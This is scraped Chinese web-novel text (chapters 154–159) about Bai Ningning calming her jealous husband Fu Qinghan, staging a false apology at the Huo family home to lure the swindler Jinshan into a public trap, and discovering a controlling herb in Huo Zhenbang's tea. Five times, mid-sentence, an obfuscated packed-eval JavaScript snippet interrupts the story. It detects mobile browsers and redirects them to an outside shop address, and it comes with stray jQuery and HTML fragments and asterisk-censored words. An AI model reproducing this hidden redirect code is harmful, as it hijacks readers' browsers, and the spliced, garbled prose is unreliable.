面对他这几乎失控的质问凝凝没有害怕倒是有些惊奇。 这么幼稚的话哪里像是傅清寒说出的话? 她看着他那双因嫉妒而通红的眼睛看着他那副想发火又小心翼翼怕伤到自己的矛盾模样心中既好笑又有点心疼。 自从怀孕后他一直小心翼翼的已经很久没见过他这副是把山西的醋厂搬来的样子她心里痒痒的起了逗弄他的心思。 她打算再把火烧得旺一点。 所以凝凝非但没有立刻去哄他反而煞有介事地点了点头脸上露出了一个“恍然大悟”的表情 “咦?你说的……好像也对哦。” 傅清寒:“……?” 他的大脑有那么一瞬间是宕机的。他已经做好了迎接凝凝解释、安抚、甚至争吵的准备却唯独没料到她会是这个反应。 凝凝看着他那副傻眼的模样继续一本正经地“火上浇油”。她挣脱开他因为错愕而松开的手煞有介事地摸了摸下巴一边转身作势要走一边自言自语道: “你说得对我怎么就没想到呢?师兄那么专业人又温柔还叫我去喝药呢。我现在身体正不舒服确实应该去找他才对。那我……现在就去找他啦?” 第154章 你是我选择的未来 说完,她还真的抬脚,慢悠悠地、一步一步地,朝着门口的方向走去。 “你……!” 傅清寒彻底傻眼了! 他看着她那真的要走的背影,整个人都懵了! 她不是应该来哄自己吗?不是应该来解释吗?她怎么……她怎么就真的要走了?! 一股比刚才的愤怒和嫉妒,更加强烈、更加可怕的恐慌瞬间淹没了他! 他慌了。 他真的慌了。 他再也顾不上什么面子,什么吃醋,什么别扭!他几乎是本能地,一个箭步冲上前,从背后,一把将那个还没走出两步的小女人,死死地、用一种近乎野蛮的力道,捞回了自己怀里! “不许去!” 他的声音,因为极致的恐慌而变得沙哑、甚至带着一丝不易察觉的颤抖! 他将她紧紧地禁锢在胸前,高大的身躯微微颤抖,下巴抵着她的发顶,所有的伪装和骄傲,在这一刻,碎得一干二净! “白凝凝,我不许你去!” “你敢去,我就……”他抱着她,喃喃道,明明想威胁却又下不去口。 感受到他身体的颤抖,乱了章法的心跳以及霸道和无助并存的话语,凝凝终于忍不住,“扑哧”一声笑了出来。 听到她的笑声,傅清寒身体一僵,这个女人,居然还笑?! 感觉他身体的瞬间僵硬,凝凝在他怀里转过身,伸出手,捧着他那张写满了“慌乱”、“委屈”又带着一丝恼怒的俊脸,看着他那双已经泛红的眼睛,心中又好爱又心疼。 她明白,他所有的暴怒和幼稚,都不是因为不信任她,是源于这种对“过去”的无能为力和对自己“局外人”身份的恐惧。 是他没有安全感。 “傻瓜。”她踮起脚尖,轻轻地吻了吻他的唇角,声音是前所未有的温柔,“逗你的。” 傅清寒的身体,再一次僵住。 逗……逗他的? 她没有再解释,而是踮起脚尖,在傅清寒错愕的目光中,伸出双臂,主动地紧紧环住了他的脖子,将自己的脸,埋进了他那因为僵硬而散发着寒气的颈窝里。 傅清寒的身体,瞬间僵住了。他所有的怒火,在她这个柔软而又依赖的拥抱面前,瞬间就被浇熄 了大半。 凝凝的脸颊在他的颈窝里轻轻地蹭了蹭声音闷闷地、带着一丝委屈和浓浓的鼻音传来: “傅清寒你混蛋……” 这是什么恶人先告状?招惹他之后现在还说他混蛋傅清寒气得几乎失语牙缝里挤出一句话“我混蛋?” “就是你混蛋就是你小心眼有事没事吃飞醋”她像猫一样在他颈窝蹭了蹭“师兄是参与了我的过去 “别人再好再专业可我想要的从始至终就只有一个你而已。” “药再好也只能治我的身。可你才能安我的心。” 这几句话如同一股最强大的暖流直接冲垮了傅清寒心中所有的防线! “你说的是真的?” “真的。” 他再也压抑不住紧紧地将她箍在怀里那力道仿佛要将她揉进自己的骨血之中再也不分开! 他低下头狠狠地吻上她的唇。这个吻充满了霸道、掠夺和宣示**的意味疯狂地汲取着她的甘甜仿佛要将她整个人都吞下去。 良久唇分。 傅清寒并没有像往常那样立刻恢复那副掌控一切的从容模样他只是将头深深地埋在凝凝的颈窝里像一个疲惫而又缺乏安全感的孩子。 他身上那股令人窒息的冰冷压迫气场在这一刻彻底消散了取而代之的是极其罕见连凝凝都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771310|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极少见的脆弱。 他的声音带着一丝压抑的沙哑和茫然闷闷地传来: “……可是凝凝。” “你们有师门有共同的过去。” “你们的世界我进不去。” “你的过去……我没能参与。” 这几句话像是一声无助的叹息。 他可以为她杀伐决断可以为她对抗全世界但他却无法穿越时空去填补她生命中那段他缺席的、与另一个男人共同拥有的岁月。 听到他这番话凝凝的心像是被什么东西狠狠地刺了一下酸酸的涨涨的充满了无尽的心疼。 她伸出手紧紧地地回抱住他用脸颊蹭了蹭他的侧脸仿佛在安抚一头受伤的、正在舔舐伤口的孤狼。 她的声音是前所未有的温柔和坚定像一道温暖的光瞬间照亮了他心中所有的阴霾: “谁说你没参与的?” “傅清寒你看着我。”她轻轻地推开他一点捧着他的脸强迫他看着自己的眼睛。 “在京市我们一起对付楚小小和周玉芬那些极品是你护着我那是我们的过去。” “在港市我们一起帮承熙拨乱反正夺回家族一起对付赵宇轩和梁美玲那一窝子豺狼是你陪着我运筹帷幄那也是我们的过去。” “过去不只是我遇到你之前的那段时光。过去是我们从相遇的那一刻起共同经历的每一个日日夜夜创造的每一个独一无二的回忆。” 她抚上自己微微隆起的小腹眼中闪烁着母性的光辉和对未来的无限憧憬: “我们不仅有不断叠加的过去我们还有现在更有未来。” “这里”她拉着他的大手轻轻地放在自己的肚子上“有我们共同的未来。” “玄冥师兄他或许和我拥有共同的回忆但那是我不能选择的过去。傅清寒你是我选择的未来。” 第155章 亲自踏平,才能一往无前 这番话,如同最强大的誓言照亮了傅清寒心中残留的阴霾和不安! 他看着妻子那双闪闪发亮,只映照出他一个人的眼睛,所有的不安和嫉妒都化为了足以将人溺毙的深情。 他低下头,不再带有刚刚的委屈,而是缠绵悱恻地再次封住了她的唇。 一吻结束,他抵着她的额头,那双黑眸里重新燃起了那熟悉的霸道强势的光芒,但这一次还有被治愈后的安心。 他用指腹摩挲着她的唇,声音沙哑,却充满了宣示**的意味: “白凝凝,你给我听好了。” “第一,以后在我面前,不许再夸那个男人!” “第二,以后你的事情我都要知道!” “第三,不许再让我觉得,我不是你唯一的男人!” “……听到了没有?” 凝凝看着他这副幼稚又霸道的反差,意外觉得可爱,终于忍不住“扑哧”一声笑了出来,踮起脚尖在他唇上响亮地亲了一下:“听到了,我的傅部长。你是我唯一的男人,唯一的依靠,唯一的……醋坛子。” 他紧紧地抱着怀里失而复得的宝贝,感受着她的体温和心跳,心中那份被填满的安定感,让他无比的满足。 但是,满足过后,理智迅速回笼。眼前不是卿卿我我的时候,他们还有正事。 他牵着她的手,大步流星地走回客厅的沙发上坐下。 而此时,客厅里的众人——陈慕白、苏文赫、赵承熙,以及刚刚才从震惊中回过神来的陈瑶,还都维持着一副“非礼勿视、非礼勿听”的尴尬姿态,有的在假装研究天花板的纹路,有的在专心致志地数着自己手指头的关节。 尤其是陈瑶。 她的小嘴,还保持着一个能塞下鸡蛋的“O”型。 她刚才……都看到了什么?! 那个杀伐果断、冷酷无情、能用眼神把人冻成冰雕的“活阎王”傅清寒,竟然……竟然会因为吃醋,而跟个闹脾气的小学生一样?! 而且!就这么被凝凝姐三言两语,一个抱抱,一个亲亲,就给哄好了?! 这也太没出息了吧?! 凝凝姐!我的神!请收下我的膝盖!这种驭夫之术,您随便教我两招,我这辈子都吃不完啊! 凝 凝看着陈瑶那副还没从震惊中回过神来的呆萌模样忍不住被逗笑了。她抬手轻轻捏了捏陈瑶的小脸故意打趣道:“想什么呢?这么入神。是在想以后该怎么对付陆泽远吗?” “啊?!”陈瑶像是被踩了尾巴的猫瞬间就炸了**小脸刷的一下就红了连忙摆手否认“才、才没有!谁想他了!我跟他不熟!” 她那副心虚又嘴硬的模样引得众人一阵轻笑客厅里那因为傅清寒吃醋而变得紧张压抑的气氛终于彻底烟消云散。 “好你和他不熟。那我们现在说正事吧。”她立刻收起了嬉笑脸上恢复了那副清冷而又专业的模样。 从桌上拿起自己刚才分析毒物时用的那杯水目光扫过在场的所有人缓缓开口: “既然有了追踪凶手的方法。那就需要一个合理的场合一个能让所有嫌疑人都**在一个相对密闭空间又暴露在公共视线里的场合。” 她顿了顿补充道:“这个场合不能是像新闻发布会那样充满对立感的环境金山那种老狐狸绝不会轻易踏入一个明显的陷阱。所以最好是一场盛大的、充满了上流社会虚伪客套的宴会。” “宴会?”苏文赫皱起了眉“为什么?” “两个原因。”凝凝伸出两根纤细的手指声音冷静而又笃定。 “第一我需要一个相对密闭、通风可控的环境来施展我的‘闻香识人’之法。” “第二也是更重要的”她的嘴角勾起一抹笑“我需要这个场合有足够的媒体和公众关注度。我要的不是在暗地里抓住凶手而是要当着全港市的面将他的画皮一层一层地彻底剥下来!这样他们就办法抵赖了。” 话音落下整个指挥室 所有人都被凝凝这番话里所蕴含的“公开处刑”的意味给震住了!他们第一次发现眼前这个看似清冷柔弱的女孩骨子里竟然藏着如此锋利令人胆寒的锋芒! 陈瑶心里咯噔一声飞快瞥了一眼旁边的傅清寒凝凝姐看起来柔柔弱弱的整起人这么狠…… 果然不是一家人不进一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771311|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈慕白也推了推眼镜眼中闪过一丝激赏。他率先反应过来指出了计划的关键难点:“想法很好。但现在金山 是霍家的座上宾要请得动他恐怕只有霍家出面才行。可是……” 他看向傅清寒无奈地说道:“霍振邦那个老顽固现在把金山当活菩萨供着视我们为仇敌我们提议他俩也根本不会来。即便是霍小姐去说恐怕也于事无补。” “所以我们需要演一场戏。”凝凝的声音依旧平静无波。 她看向众人将自己的全盘计划和盘托出:“我需要霍思晴回到霍家去向她父亲‘认错’。” “认错?”这次连一向沉稳的赵承熙都感到了不可思议。 “对。”凝凝点头 “一个被现实打醒、幡然醒悟的孝顺女儿主动为自己铺路还送上这么大一个台阶我不信霍振邦和金山会拒绝这份‘体面’。” “话是这么说但……霍小姐那边她未必肯拉下这个脸去向她父亲低头。”陈慕白轻轻摇头。 他的话音刚落一旁的赵承熙便接了过去。他的眉头紧锁英俊的脸上写满了担忧声音低沉: “思晴的性子我了解。她向来刚烈宁折不弯。让她去演这出‘认错’的戏比杀了她还难。” 他顿了顿眼中闪过一丝决断。他抬起头看向凝凝和傅清寒主动请缨道:“我去跟她谈。不管怎么说我们之间总还有几分旧情。或许她会看在我的面子上……” 赵承熙的话还没说完就被凝凝清冷而又坚定的声音轻轻地打断了。 “不。” 凝凝摇了摇头她的目光清澈如水直视着赵承呈那双带着期盼的眼睛一字一句地说道:“赵先生情分不是用在这种地方的。” “你和霍小姐之间的关系刚刚才从复杂的过去中解脱出来回归到最纯粹的盟友和朋友。我不希望因为这件事再给你们之间掺杂上任何不清不楚的意味。这对她不公平对你也不公平。” 她顿了顿声音里带着一种不容置喙的力量:“这件事最好是由我去和她谈。我会让她明白逃避解决不了任何问题。只有勇敢地去面对那道坎亲自把它踏平才能真正地一往无前。” 第156章 妇愁者联盟 这番话,让赵承熙瞬间愣住了。他看着眼前这个通透到令人心惊的女孩,心中那点因为“旧情”而产生的涟漪,瞬间就平复了下去。他知道,她说的是对的。 傅清寒则在一旁,看着自己小妻子那副条理清晰、格局打开的模样,眼中充满了欣赏和自豪,嘴角不自觉地微微上扬。 凝凝没有再给任何人反对的机会,径直走到一旁,拿起了电话拨通了霍思晴的私人号码。 电话几乎是立刻就被接通了。 “**。”听筒里,传来霍思晴略显沙哑和疲惫的声音。与之前的公事公办不同,这一次,她的语气里,带着深深的愧疚。 “霍小姐,抱歉打扰你。”凝凝开门见山,“我需要你的帮助。” “……你说吧。”霍思晴沉默了片刻,似乎是在苦笑,“只要我还能做到的。毕竟,‘鸾凤佩’的事是我霍家对不起你。” 她没有推脱,这份源于“愧疚”的担当,让凝凝对说服她,更多了几分把握。 凝凝没有绕圈子,直接将自己的全盘计划,言简意赅地和盘托出。 电话那头,霍思晴在听完“回去认错”这个部分时,果然如众人所料,呼吸猛地一滞!可以想象,电话那头的她,脸色一定瞬间变得无比难看。 “……一定要这样吗?”她的声音,充满了挣扎和不甘。骄傲如她,让她回去对着那个愚蠢的父亲和虚伪的神棍演戏,这无异于将她的自尊,放在地上任人践踏。 “我知道你憋屈,你不甘。”凝凝的声音不大,却字字句句说出她近日来的担忧和痛楚,“但是霍小姐,你有没有想过,如果你不这样做,你父亲那当众的一巴掌,就会成为你一辈子都洗刷不掉的烙印。” “只要金山居士一天不倒,你父亲就会一天认为他是对的,你是错的。港市所有上流社会的人,都会在背后议论你——被父亲当众掌掴,不孝的霍家大小姐。这件事,永远也翻不过去。” “只有当着所有人的面,将金山的画皮,一层一层地彻底剥下来;只有让你父亲亲眼看到,他信奉的‘大师’,是个彻头彻尾的骗子、凶手;只有让他当众承认自己的愚蠢和错误……你才能把丢掉的面子,十倍、百倍地,亲手挣回来!” “更何况,”凝凝的语气,带上 了一丝意味深长,“将来,你总是要执掌霍氏集团的。如果这件事无法解决,你将永远活在他的阴影里,你让你手下的那些董事们,将来如**服你?你的威严,何在?” 电话那头,陷入了死一般的寂静。 凝凝知道,霍思晴被说服了。 对于霍思晴这样的女人来说,一时的面子是小,未来的权力和尊严才是她真正的命脉。 许久,霍思晴那略带沙哑的声音才再次响起,只是这一次,里面所有的挣扎都已褪去,只剩下冷静和决断:“……好,我答应你。什么时候行动?” “半小时后,我到你公司楼下接你。”凝凝知道她已经想通,便不再多言,只是在挂电话前,轻轻地补充了一句,像是在给她吃一颗定心丸: “你放心,我陪你一起去。” 挂了电话,凝凝一转身,就对上了傅清寒那双写满了“不放心”的漆黑眸子。 “我也去。”傅清寒走上前,想也不想地说道。 让他的女人,去一个老顽固的家里演戏?他怎么可能放心。万一那个霍振邦不讲理发疯,伤到凝凝怎么办?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771312|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而,凝凝却想也不想地摇了摇头。 “你不能去。” 她看着傅清寒,眼中闪过一丝笑意:“我们这次去,是演一出‘示弱’的戏。你这尊‘活阎王’往那一站,周身都散发着‘老子是来砸场子的’气场,谁还敢信我们是去服软的?” 不等傅清寒反驳,她便继续分析道: “这场戏,必须由我们‘女人’去唱。霍振邦骨子里是个极其大男子主义的人。他看不起女儿,更看不起女人。如果我们几个女人低头去求他,只会让他觉得,我们已经走投无路,只能依靠他这个男人,他这个‘一家之主’来收拾烂局。” 她凑近傅清寒,踮起脚尖,在他耳边低语,那温热的气息让他心头一荡: “这会极大地满足他的虚荣心,让他放松所有的警惕。只有这样,他才会心甘情愿地,走进我们为他准备好的陷阱里。” “至于那一巴掌……”凝凝的眼中,闪过一丝冷光,“他让思晴在大庭广众下丢了人,我们就让思晴在全港市面前,把脸挣回来。这一出戏,不仅是为了找出凶手拿回玉佩,也是为了帮思晴,重新夺回她在霍家的话语权。” 傅清寒听完她这番滴水不漏的分析,所有的反驳都被堵了回去。他知道,她是对的。 他只能无奈又憋屈地妥协,但还是提出了自己的底线:“我会亲自带一个小组在外面等你们。只要里面有任何不对劲,我立刻就冲进去。” “好。”凝凝笑着点头,在他脸上亲了一下,以示安抚。 “我也要去!”一旁的陈瑶,早就按捺不住了,兴奋地举起了手,“凝凝姐,我是女人,我可以跟你们一起去!我最会演这种刁蛮任性的大小姐了,保证本色出演!” 第157章 低头是为了加冕 凝凝看着她那副唯恐天下不乱的模样,心中好笑,但转念一想,陈瑶这副“不带脑子”的骄纵样子,在霍振邦那种大男子主义的老古董面前,反而能起到意想不到的“麻痹”效果。 她无奈地笑了笑,点头道:“好,带上你。不过,你记住,到了那里不要表现得太聪明,按你以前的样子,刚刚好。” “啊?”陈瑶的兴奋劲儿瞬间卡壳,她眨了眨大眼睛,后知后觉地品出了味儿来,“什么叫不要表现得太聪明,按我之前的样子啊……” 她凑到凝凝身边,开始小声地碎碎念:“凝凝姐,你这话的意思是……我之前很蠢吗?我哪有很蠢,我之前卧底还成功了呢……” 那嘀嘀咕咕、满脸不服气的小模样,让凝凝和傅清寒都忍俊不禁。 陈慕白看着自家这个还没出门就开始“入戏”的傻妹妹,又是好气又是好笑,但更多的还是不放心。他走上前,无比郑重地拍了拍陈瑶的肩膀,打断了她的碎碎念,语气严肃地叮嘱道: “瑶瑶,这次不是闹着玩的。去了之后,少说话,多看。最重要的一点,是跟紧你凝凝姐,保护好她,听到了吗?但凡有任何不对劲,你第一个要做的,就是护着她往外跑,你哥我的人就在外面接应。” “知道啦,哥!你都说了八百遍了!”陈瑶虽然嘴上不耐烦地抱怨着,但那双亮晶晶的眸子里,却闪烁着无比认真的光芒,她重重地点了点头,拍着胸脯保证,“放心吧!我绝对会把凝凝姐当眼珠子一样护着的!” 半小时后,霍氏集团大厦楼下。 霍思晴早已等在那里。她换下了一身干练的职业套装,穿上了一件款式简单的白色连衣裙,脸上未施粉黛,连平时最爱的手表和珠宝也摘了下来。整个人看起来憔悴又落寞。 看到凝凝和陈瑶从车上下来,她深吸一口气,迎了上去,那双一向清冷的眸子里,闪过一丝复杂的情绪:“**,真的……要这么做吗?” 骄傲如她,让她回去对着那个愚蠢的父亲和虚伪的神棍演戏,这无异于将她的自尊,放在地上任人践踏。 一旁的陈瑶见她这副模样,也忍不住有些心疼。她想起之前在展销会上,霍思晴那副运筹帷幄、光芒四射的女王模样,再看看现在,实在是天差地别。 她上前一步笨拙地却又无比真诚地安慰道:“思晴姐你……你别有思想包袱。演的时候什么也别想就……就当自己是我好了!反正我哥老说我没心没肺惹了祸就知道哭鼻子认错你学我准没错!” 这句“反向安慰”让霍思晴紧绷的嘴角几不可察地抽动了一下。 而凝凝则上前一步轻轻地握住了她冰冷的手。 她的声音不高却像一根定海神针稳住了霍思晴那波涛汹涌的心海: “霍小姐低头不是为了屈服是为了戴上王冠加冕。” “加冕?”霍思晴猛地抬起头直勾勾看着白凝凝。 “对 凝凝的话语如同一道闪光瞬间劈开了她心里的黑暗迷茫带来如同破晓一样的光亮! 霍思晴此刻心中所有的不甘和**在这一刻都烟消云散! 是的她不是在认错。 她是在用一时的隐忍去换取一个洗刷**的机会一个光明的未来! “你说得对我们走吧。”她反手握住凝凝的手那冰冷的指尖重新恢复了温度和力量。—— 霍家大宅客厅里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771313|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>气氛压抑得如同暴风雨前的海面。 霍振邦坐在主位的红木沙发上脸色铁青手里盘着两颗核桃却盘不出半点声响。 “老爷大小姐回来了。”管家恭敬地通报道。 “哼这个不孝女还有脸回来!”霍振邦冷哼一声连眼皮都懒得抬。 管家顿了顿又补充道:“大小姐还带了两位客人是……陈家的陈瑶小姐和‘凝悦’的负责人**。” 霍振邦盘核桃的手猛地一顿。他缓缓抬起眉毛眼中闪过一丝玩味的讥讽。 他早就从眼线那里得知自己这个不成器的女儿最近跟“凝悦”那帮内地来的人走得很近。在他看来这就是女儿在被他削权之后不甘心地从外面找来的新势力企图架空他这个一家之主! 尤其是那个叫白凝凝的女人年纪轻轻就已经是凝悦的负责人似乎还是那伙人的核心。傅清寒那种煞神陈慕白那种笑面虎都对她言听计从。一个女人能有什么真本事?不过是个长得好看的吉祥物是傅、陈两家推出来试探港市水深的“马前卒”罢了! 现在他这个不成器的女儿不敢自己来还找了两个女人来当帮手? 他倒要看看这三个女人一台戏能唱出什么花样来! “让她们进来。”他重新低下头继续不紧不慢地盘着核桃摆足了架子。 很快三个女孩的身影出现在了客厅门口。 霍思晴走在最前面。她一进门就红了眼眶那副强忍着委屈、却又不得不低头的模样被她演得淋漓尽致。 她走到霍振邦面前隔着三步远的距离停下了脚步。 “噗通”一声。 在所有人错愕的目光中她竟然直挺挺地跪了下去! “爸!” 第158章 互相飚演戏,把老登装进去 这一声“爸”,喊得是百转千回,充满了无尽的委屈、后悔与孺慕之情。 霍振邦心中得意,但脸上依旧维持着严父的威严,冷冷地呵斥道:“你还知道回来?!还知道叫我一声爸?!我以为你翅膀硬了,眼里早就没有我这个父亲了!” “爸,我错了……”霍思晴跪在地上,抬起头,那张素净的小脸上,已经挂满了晶莹的泪珠,楚楚可怜,“女儿知道错了。女儿之前是被猪油蒙了心,不该不信您,更不该不信金山大师……” 霍振邦听着女儿的忏悔,看着她和平时冷峻傲气,气场全开截然不同的姿态,心中舒坦,但他并没有立刻让她起来,而是将目光,转向了她身后的白凝凝。 他用一种居高临下的、审视的目光打量着凝凝,嘴角带着一丝若有若无的轻蔑,慢悠悠地开口了,但话却是对着自己女儿说的: “思晴啊,这就是你请来的客人?内地来的朋友,果然是不太懂我们港市的规矩。”他的语气看似客气,实则充满了敲打和不屑,“你看看**,身子都这么重了,还出来抛头露面,这要是在我们港市的大家族里,可是要被人笑话的。女人嘛,相夫教子,才是本分。” 说完,他才转过头,将目光落在凝凝身上,就仿佛刚刚才注意到她一样,皮笑肉不笑地说道:“**,你今天来,是代表‘凝悦’,代表傅先生和陈先生,来跟我谈合作的吗?” 不等凝凝开口,他便自顾自地摇了摇头,脸上那高高在上的轻蔑,再也不加掩饰: “如果是谈合作,那你的诚意,可不太够啊。你一个女人家,怀着身孕,也做不了主。想谈,让你身后的男人,傅清寒和陈慕白,亲自来跟我谈。你嘛……还不够格。” 这番话,可以说是相当托大,甚至是羞辱! 然而,凝凝并没有生气,她那双清亮的眸子里丝毫没有一丝波澜,只在脸上露出一抹笑容:“霍伯父,您……您误会了。我们今天来,不是来谈合作的,是……是特地来向您和金山大师赔罪的。” 陈瑶也在一旁,收起了所有的锋芒,像个做错事的小女孩一样,低着头小声地附和道:“是……是啊,霍伯父,我们都知道错了……” 他靠在沙发上,端起那杯早已凉透的茶,轻轻地吹了吹浮沫,眼角 的余光轻蔑地扫过眼前这几个战战兢兢的女孩心中冷笑连连。 果然不出我所料! 这帮内地来的过江龙终于知道厉害了!在港市不是有几个钱、有几分蛮力就能横着走的! 前两天派了陈慕白和赵承熙那两个自以为是的男人来想用钱砸开金山大师的门?结果呢?还不是被大师用‘港市苍生’的大义给打了回来还被全港市的媒体骂了个狗血淋头! 现在知道怕了?知道生意做不下去了?这才派了几个女人出来哭哭啼啼地来‘赔罪’来向我这个‘地头蛇’拜码头了! 想在港市捞金就得先拜我霍振邦!因为金山大师只认我霍某人的面子! 傅清寒?陈慕白?在我霍振邦和金山大师联手布下的这个局里是龙你也得给我盘着! 想到这里霍振邦感觉自己一家之主的威严在这一刻得到了前所未有的彰显!他才是那个真正掌控全局的男人! 他放下茶杯发出一声轻响 “哦?赔罪?你们错在哪儿了说说看?” 凝凝低着头轻轻绞着手指声音细弱:“霍伯父是我们错了。我们初来乍到不懂港市的规矩更不懂敬畏。我们以为有几个钱就能解决所有问题结果……结果冲撞了金山大师得罪了您现在生意也处处碰壁寸步难行……” 她抬起头那双水汪汪的眼睛里充满了“崇拜”和“恳求”的光芒: “我们回去想了一晚上才想明白!我们想在港市安安稳稳地做生意还是得靠您这样有威望、有能力的本地大佬照应着!我们之前去拜金山大师是走了错门拜错了菩萨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771314|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我们应该先来拜您这个‘真神’才对!” 这番话这句“真神”简直说到了霍振邦的心坎里! 舒服!通体舒泰! 霍振邦看着眼前这三个气质迥然的女孩此刻都像斗败了的鹌鹑一样乖乖地在他面前低头认错伏低做小他心中的那份得意简直要满溢出来! 他感觉自己一家之主的威严在这一刻得到了前所未有的彰显! “哼算你们还有点良心。”他端起茶杯喝了一口慢悠 悠地说道,“知道错了就好。尤其是你,**,你之前不是一直说金山大师是骗子吗?现在怎么说? 凝凝连忙低下头,脸上露出“羞愧和“后悔的表情,声音细若蚊蚋:“是……是凝凝有眼不识泰山,见识短浅,误会了大师。还请霍伯父,能在金山大师面前,为我们美言几句。 “那就要看你们的表现了。霍振邦放下了茶杯,彻底掌握了谈话的主动权。 “爸,霍思晴此时上前,擦了擦眼角的泪痕,极其恳切地将功赎罪:“为了弥补我们之前的过错,也为了能让金山大师消气。我想……我想亲自操办一场盛大的‘祈福平安酒会’! “我想当着全港市所有名流的面,亲自向金山大师斟茶认错,赔礼道歉! 这个提议,简直就是把他霍振邦的脸面,架到了一个前所未有的高度! 一个被现实打醒、幡然醒悟的孝顺女儿,主动为自己铺路! 一群走投无路的内地过江龙,需要他来牵线搭桥! 他霍振邦,就是这场盛宴里,当之无愧的中心!更是霍氏永远的当家人! “嗯,这个想法,还算不错。霍振邦故作沉吟地点了点头,脸上露出了满意的神色,“知错能改,善莫大焉。这件事,就交给你去办吧。记住,一定要办得风风光光,不能坠了我们霍家和金山大师的名头! “是!爸!我一定办好!霍思晴“激动地连连点头。 第159章 养生茶有问题 离开霍家大宅,坐上返回安全屋的汽车,车门关上的那一刻。 前一秒还楚楚可怜的霍思晴,瞬间就变成了那副冷若冰霜的模样,她从手包里拿出湿纸巾,优雅地擦了擦脸,若是仔细看,眼里还有一抹淡淡的嘲讽。 而一旁的陈瑶,则再也憋不住了,“噗”的一声笑了出来,眼泪都飙了出来。 “哈哈哈哈……不行了……我要笑**!”她一边笑,一边夸张地拍着霍思晴的肩膀,“思晴姐!你刚才……你刚才简直是影后附体啊!特别是那一下!自己打自己那一下!哎哟喂,我都看呆了!太狠了!太像了!” 霍思晴嫌弃地白了她一眼:“闭嘴。” 凝凝看着她们俩,也是忍俊不禁,嘴角的笑意怎么也压不下去。 “凝凝姐!”陈瑶笑够了,又凑到凝凝身边,一脸崇拜地看着她,两眼都在放光,“还是你厉害!运筹帷幄之中,决胜千里之外!我算是看明白了,我哥,还有傅部长他们,平时看着一个个都挺牛的,结果到了关键时刻,还得是你出马才行!” “别贫了。”凝凝无奈地摇了摇头,她的目光,却忽然变得有些凝重。 她的脑海里,不受控制地,回想起了刚才在霍家客厅里的一个细节。 就在霍振邦端起茶杯,耀武扬威地喝茶时,她敏锐地闻到了一股极其微弱的、被浓郁的茶香所掩盖的、非同寻常的药味。那味道,她曾在药神录见过,似乎是南洋一种名为“锁心藤”的植物根茎的味道。 “锁心藤”本身无毒,甚至还有一定的安神效果。但如果长期、小剂量地服用,它会像一把无形的枷锁慢慢地锁住人的心脉,让人变得易怒、多疑、固执,并且会对第一次给予这种药物的人,产生一种病态的、近乎催眠般的信任和依赖。 所以顾名思义,锁心藤。是一种极其高明的、用来控制人心的**! 看来那个金山,不仅要霍家的财,要霍家的玉,还要霍家的“势”!她这是要将霍振邦,彻底变成她手里的一具提线木偶! 手段,何其歹毒! 凝凝的眼中,闪过一丝冰冷的寒光,她必须提醒霍思晴。 她看向窗外飞速**的街景,嘴角的笑意缓缓敛去,声音虽然依旧平静,却带上了一丝不容置喙的凝重: “思晴,你父亲喝的茶,有问题。 霍思晴和陈瑶的笑声,戛然而止。 “有问题?霍思晴立刻紧张了起来,她虽然厌恶父亲的愚蠢,但那毕竟是她的亲生父亲,“什么问题? “那不是普通的养生茶。 霍思晴的脸色,瞬间变得煞白! 